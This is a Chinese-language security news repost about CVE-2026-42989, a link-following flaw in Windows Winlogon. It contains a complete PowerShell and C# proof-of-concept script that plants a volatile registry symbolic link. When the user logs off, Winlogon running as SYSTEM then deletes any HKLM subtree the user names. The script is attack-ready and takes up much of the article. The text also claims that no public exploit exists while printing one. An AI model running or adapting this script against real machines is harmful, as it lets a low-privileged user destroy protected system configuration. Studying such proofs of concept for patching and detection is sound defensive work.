CVE-2026-42989:Windows101607权限提升漏洞+POC

admin 2026-07-15 05:16:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-42989是WindowsWinlogon组件中的本地权限提升漏洞,源于文件访问前链接解析不当(CWE-59)。经过身份验证的本地攻击者可通过符号链接或硬链接重定向Winlogon的文件操作,从而将权限提升至SYSTEM级别。该漏洞影响多个Windows版本,微软已于2026年6月9日发布安全公告。建议用户立即应用补丁,并限制本地访问权限。 综合评分: 75 文章分类: 漏洞分析,渗透测试,红队,内网渗透


cover_image

CVE-2026-42989:Windows 10 1607 权限提升漏洞 + POC

Ots安全

2026年7月14日 13:28 广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

CVE-2026-42989 概述

CVE-2026-42989 是 Windows Winlogon 组件中的一个本地权限提升漏洞。该漏洞源于文件访问前链接解析不当,被归类为 [CWE-59]。经过身份验证的本地攻击者可以利用符号链接或硬链接重定向 Winlogon 执行的文件操作,而 Winlogon 本身以提升的权限运行。成功利用此漏洞后,攻击者即可提升受影响系统的权限。微软于 2026 年 6 月 9 日发布了此安全公告,涵盖受支持的 Windows 10、Windows 11 以及从 Server 2012 到 Server 2025 的 Windows Server 版本。

受影响产品

  • Microsoft Windows 10(1607、1809、21H2、22H2)
  • Microsoft Windows 11(23H2、24H2、25H2、26H1)
  • Microsoft Windows Server 2012、2012 R2、2016、2019、2022、2025

发现时间线

  • 2026年6月9日 – CVE-2026-42989 已发布至 NVD
  • 2026年6月11日 – NVD数据库中最后更新日期

CVE-2026-42989 的技术细节

漏洞分析

Winlogon 是 Windows 系统中负责交互式用户登录、配置文件加载和会话管理的组件。它在 SYSTEM 安全上下文中执行,因此它执行的任何文件操作都极易受到链接跟踪攻击。CVE-2026-42989 漏洞的存在是因为 Winlogon 在解析文件路径时,没有充分验证中间组件是符号链接、连接点还是由低权限用户控制的硬链接。

该漏洞属于 [CWE-59] 文件访问前链接解析不当漏洞。攻击者可以使用标准用户凭据在 Winlogon 进程稍后访问的路径中植入精心构造的链接,导致特权进程读取、写入或删除超出其预期范围的文件。最终结果是权限提升至 SYSTEM 级别。

根本原因

根本原因是特权文件操作期间文件系统重解析点的验证缺失或不足。Winlogon 信任 I/O 管理器返回的解析路径,而不是强制要求路径中的每个组成部分都是由受信任主体拥有的普通文件或目录。这是 Windows 特权服务中反复出现的问题,已在 [CWE-59] 中跟踪。

攻击向量

利用此漏洞需要本地访问权限和低权限身份验证。攻击者预先设置一个目录或文件位置,Winlogon 在正常操作期间会访问该位置,然后将路径元素替换或包装为指向敏感系统对象的符号链接、连接点或硬链接。当 Winlogon 执行文件操作时,I/O 操作将以 SYSTEM 权限在攻击者控制的目标上进行。无需用户交互。目前尚无公开的漏洞利用代码,且该漏洞未列入 CISA 已知已利用漏洞目录。

<#
================================================================================
&nbsp;PoC - CVE-2026-42989&nbsp;@w3bd3vil ( https://krashconsulting.com )
&nbsp;Winlogon deletes the target registry subtree at session teardown.

&nbsp;USAGE
&nbsp; &nbsp;powershell -ep bypass .\poc_cve_2026_42989.ps1&nbsp;"HKLM\SOFTWARE\TargetKey"
&nbsp; &nbsp;Then logout&nbsp;and&nbsp;restart PC.
================================================================================
#>
[CmdletBinding()]
param(
&nbsp; &nbsp; [Parameter(Mandatory=$true, Position=0)]
&nbsp; &nbsp; [string]$TargetPath
)

$ErrorActionPreference =&nbsp;'Stop'

# ---- resolve target to native NT path -----------------------------------------
# Accept: HKLM:\Software\Foo or HKLM\Software\Foo or \REGISTRY\MACHINE\...
if&nbsp;($TargetPath -match&nbsp;'^HKLM:?\\?(.*)$') {
&nbsp; &nbsp; $TargetRel = $Matches[1]
&nbsp; &nbsp; $TargetNt =&nbsp;"\REGISTRY\MACHINE\$TargetRel"
}&nbsp;elseif&nbsp;($TargetPath -match&nbsp;'^\\REGISTRY\\') {
&nbsp; &nbsp; $TargetNt = $TargetPath
}&nbsp;else&nbsp;{
&nbsp; &nbsp;&nbsp;throw"Unsupported path format. Use HKLM:\Software\Foo or \REGISTRY\MACHINE\..."
}

# ---- session / SAT key --------------------------------------------------------
$SessionId = (Get-Process -Id $PID).SessionId
$SatRel =&nbsp;"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session$SessionId"
$SatWin32 =&nbsp;"HKLM:\$SatRel"
$SubName =&nbsp;'poc'
$LinkName =&nbsp;'link'
$LinkNt =&nbsp;"\REGISTRY\MACHINE\$SatRel\$SubName\$LinkName"

Write-Host&nbsp;"[*] Session id : $SessionId"
Write-Host&nbsp;"[*] SAT key : $SatWin32"
Write-Host&nbsp;"[*] Target : $TargetNt"

if&nbsp;(-not (Test-Path $SatWin32)) {
&nbsp; &nbsp;&nbsp;throw"SAT key not present. Log on interactively first (or press Win+U at logon UI)."
}
if&nbsp;(-not (Test-Path $TargetPath)) {
&nbsp; &nbsp; Write-Warning&nbsp;"Target key does not exist yet. The link will still be planted."
}

# ---- C# native helpers --------------------------------------------------------
$cs = @'
using System;
using System.Runtime.InteropServices;
using System.Text;

public static class RegSymlink
{
&nbsp; &nbsp; [StructLayout(LayoutKind.Sequential)]
&nbsp; &nbsp; struct UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; }

&nbsp; &nbsp; [StructLayout(LayoutKind.Sequential)]
&nbsp; &nbsp; struct OBJECT_ATTRIBUTES {
&nbsp; &nbsp; &nbsp; &nbsp; public int Length;
&nbsp; &nbsp; &nbsp; &nbsp; public IntPtr RootDirectory;
&nbsp; &nbsp; &nbsp; &nbsp; public IntPtr ObjectName;
&nbsp; &nbsp; &nbsp; &nbsp; public uint Attributes;
&nbsp; &nbsp; &nbsp; &nbsp; public IntPtr SecurityDescriptor;
&nbsp; &nbsp; &nbsp; &nbsp; public IntPtr SecurityQualityOfService;
&nbsp; &nbsp; }

&nbsp; &nbsp; const uint OBJ_CASE_INSENSITIVE = 0x40;
&nbsp; &nbsp; const uint REG_OPTION_VOLATILE = 0x1;
&nbsp; &nbsp; const uint REG_OPTION_CREATE_LINK= 0x2;
&nbsp; &nbsp; const int REG_LINK = 6;
&nbsp; &nbsp; const uint KEY_SET_VALUE = 0x2;
&nbsp; &nbsp; const uint KEY_CREATE_LINK = 0x20;

&nbsp; &nbsp; static readonly IntPtr HKLM = new IntPtr(unchecked((int)0x80000002));

&nbsp; &nbsp; [DllImport("ntdll.dll")]
&nbsp; &nbsp; static extern int NtCreateKey(out IntPtr KeyHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES oa,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int TitleIndex, IntPtr Class, uint CreateOptions, out uint Disposition);
&nbsp; &nbsp; [DllImport("ntdll.dll")]
&nbsp; &nbsp; static extern int NtSetValueKey(IntPtr KeyHandle, ref UNICODE_STRING ValueName, int TitleIndex,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int Type, byte[] Data, int DataSize);
&nbsp; &nbsp; [DllImport("ntdll.dll")]
&nbsp; &nbsp; static extern int NtClose(IntPtr h);

&nbsp; &nbsp; static UNICODE_STRING US(string s) {
&nbsp; &nbsp; &nbsp; &nbsp; UNICODE_STRING u = new UNICODE_STRING();
&nbsp; &nbsp; &nbsp; &nbsp; u.Length = (ushort)(s.Length * 2);
&nbsp; &nbsp; &nbsp; &nbsp; u.MaximumLength = (ushort)(s.Length * 2 + 2);
&nbsp; &nbsp; &nbsp; &nbsp; u.Buffer = Marshal.StringToHGlobalUni(s);
&nbsp; &nbsp; &nbsp; &nbsp; return u;
&nbsp; &nbsp; }

&nbsp; &nbsp; public static uint CreateLink(string linkNtPath, string targetNtPath) {
&nbsp; &nbsp; &nbsp; &nbsp; UNICODE_STRING name = US(linkNtPath);
&nbsp; &nbsp; &nbsp; &nbsp; IntPtr pName = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UNICODE_STRING)));
&nbsp; &nbsp; &nbsp; &nbsp; Marshal.StructureToPtr(name, pName, false);

&nbsp; &nbsp; &nbsp; &nbsp; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES();
&nbsp; &nbsp; &nbsp; &nbsp; oa.Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES));
&nbsp; &nbsp; &nbsp; &nbsp; oa.ObjectName = pName;
&nbsp; &nbsp; &nbsp; &nbsp; oa.Attributes = OBJ_CASE_INSENSITIVE;

&nbsp; &nbsp; &nbsp; &nbsp; IntPtr h; uint disp;
&nbsp; &nbsp; &nbsp; &nbsp; int st = NtCreateKey(out h, KEY_SET_VALUE | KEY_CREATE_LINK, ref oa, 0, IntPtr.Zero,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, out disp);
&nbsp; &nbsp; &nbsp; &nbsp; Marshal.FreeHGlobal(name.Buffer);
&nbsp; &nbsp; &nbsp; &nbsp; Marshal.FreeHGlobal(pName);
&nbsp; &nbsp; &nbsp; &nbsp; if (st != 0) return (uint)st;

&nbsp; &nbsp; &nbsp; &nbsp; UNICODE_STRING val = US("SymbolicLinkValue");
&nbsp; &nbsp; &nbsp; &nbsp; byte[] data = Encoding.Unicode.GetBytes(targetNtPath);
&nbsp; &nbsp; &nbsp; &nbsp; int st2 = NtSetValueKey(h, ref val, 0, REG_LINK, data, data.Length);
&nbsp; &nbsp; &nbsp; &nbsp; Marshal.FreeHGlobal(val.Buffer);
&nbsp; &nbsp; &nbsp; &nbsp; NtClose(h);
&nbsp; &nbsp; &nbsp; &nbsp; return (uint)st2;
&nbsp; &nbsp; }
}
'@
if&nbsp;(-not ([Type]::GetType('RegSymlink', $false))) {
&nbsp; &nbsp; Add-Type -TypeDefinition $cs | Out-Null
}&nbsp;else&nbsp;{
&nbsp; &nbsp; Write-Host&nbsp;"[*] RegSymlink type already loaded, skipping Add-Type."
}

# ---- create child subkey, grant ourselves KEY_CREATE_LINK ---------------------
Write-Host&nbsp;"[*] Creating child subkey and granting KEY_CREATE_LINK..."
$PocSubRel =&nbsp;"$SatRel\$SubName"
[void][Microsoft.Win32.Registry]::LocalMachine.CreateSubKey(
&nbsp; &nbsp; $PocSubRel,
&nbsp; &nbsp; [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
&nbsp; &nbsp; [Microsoft.Win32.RegistryOptions]::Volatile)
$rk = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
&nbsp; &nbsp; $PocSubRel,
&nbsp; &nbsp; [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
&nbsp; &nbsp; [System.Security.AccessControl.RegistryRights]::ChangePermissions)
try&nbsp;{
&nbsp; &nbsp; $me = [Security.Principal.WindowsIdentity]::GetCurrent().User
&nbsp; &nbsp; $sec = $rk.GetAccessControl([System.Security.AccessControl.AccessControlSections]::Access)
&nbsp; &nbsp; $rule =&nbsp;New-Object System.Security.AccessControl.RegistryAccessRule(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $me,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [System.Security.AccessControl.RegistryRights]::CreateLink,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [System.Security.AccessControl.AccessControlType]::Allow)
&nbsp; &nbsp; $sec.AddAccessRule($rule)
&nbsp; &nbsp; $rk.SetAccessControl($sec)
}&nbsp;finally&nbsp;{ $rk.Dispose() }
Write-Host&nbsp;"[+] Child key ready."

# ---- plant the symlink --------------------------------------------------------
Write-Host&nbsp;"[*] Planting registry symlink:"
Write-Host&nbsp;" $LinkNt"
Write-Host&nbsp;" --> $TargetNt"
$st = [RegSymlink]::CreateLink($LinkNt, $TargetNt)
if&nbsp;($st -ne&nbsp;0) {&nbsp;throw&nbsp;("NtCreateKey/NtSetValueKey failed, NTSTATUS=0x{0:X8}"&nbsp;-f $st) }
Write-Host&nbsp;"[+] Symlink planted."&nbsp;-ForegroundColor Green

Write-Host&nbsp;""
Write-Host&nbsp;">>> shutdown /l and then Restart PC to check"&nbsp;-ForegroundColor Yellow
Write-Host&nbsp;" Winlogon (SYSTEM) will delete the SAT subtree and follow the link into:"&nbsp;-ForegroundColor Yellow
Write-Host&nbsp;" $TargetNt"&nbsp;-ForegroundColor Yellow

https://github.com/omair2084/misc/blob/master/poc_cve_2026_42989.ps1

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CVE-2026-42989:Windows 10 1607 权限提升漏洞 + POC》

评论:0   参与:  0